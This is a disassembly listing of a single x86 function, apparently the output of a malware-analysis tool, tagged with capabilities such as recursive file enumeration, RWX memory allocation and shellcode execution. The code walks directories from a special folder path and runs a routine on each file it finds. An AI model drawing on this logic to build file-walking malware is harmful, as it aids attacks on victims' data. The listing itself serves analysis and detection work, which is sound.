Function at 0x10007910
Capabilities:
Allocate or change rwx memory
Enumerate files on windows
Enumerate files recursively
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
cmp dword [ebp + 0x14], 0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov esi, ecx
mov dword [ebp - 4], 0
jne 0x1000794b
lea edx, [ebp - 4]
call fcn.100072e0
mov edi, dword [ebp - 4]
mov dword [ebp + 0x14], edi
test eax, eax
jne 0x10007952
test edi, edi
jne 0x10007952
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp + 0x14], 1
push 0
push 0
lea eax, [ebp - 0xa80]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
test eax, eax
je 0x10007992
push 0x10011060
lea eax, [ebp - 0xa80]
push eax
call ebx
lea eax, [ebp - 0xa80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
neg eax
sbb eax, eax
inc eax
jne 0x100079a9
mov edx, 0x19
mov ecx, esi
call fcn.10007890
test eax, eax
jne 0x100079a9
mov ecx, esi
call fcn.100077e0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x10011028
push esi
lea edi, [esi + eax*2]
mov dword [ebp - 0x1c], edi
call ebx
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 0x10], eax
mov word [edi], cx
cmp eax, 0xffffffff
jne 0x100079e5
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp + 0x10]
jmp 0x100079f0
push 0x1001102c
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10007b5e
push 0x10011030
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10007b5e
lea eax, [ebp - 0x254]
push eax
push esi
call ebx
test byte [ebp - 0x280], 0x10
je 0x10007a97
cmp dword [ebp + 0x14], 0
je 0x10007a74
mov edx, 0x10011064
mov ecx, esi
call fcn.10009100
test eax, eax
je 0x10007b56
push 0x10011060
push esi
call ebx
mov edx, dword [ebp - 8]
mov ecx, esi
push 1
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10007910
add esp, 0x10
jmp 0x10007b56
push 0x10011060
push esi
call ebx
mov edx, dword [ebp - 8]
mov ecx, esi
push 0
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10007910
add esp, 0x10
jmp 0x10007b56
mov eax, dword [edi]
push 0x40
push 0x3000
push 0x400
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 4]
push 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push 0x100104e8
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.100076f0
test eax, eax
je 0x10007af1
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
jmp 0x10007b35
cmp dword [ebp - 0x260], 0xa
xorps xmm0, xmm0
movlpd qword [ebp - 0x30], xmm0
jb 0x10007b15
push ecx
push dword [ebp + 8]
mov ecx, ebx
call fcn.100075d0
add esp, 8
mov dword [ebp - 4], edx
jmp 0x10007b1e
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
push 0x8000
push 0
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
add dword [edi], ecx
adc dword [edi + 4], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [edi + 4]
ja 0x10007b50
jb 0x10007b4b
mov eax, dword [ebp - 0x14]
cmp eax, dword [edi]
jae 0x10007b50
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x280]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100079f0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret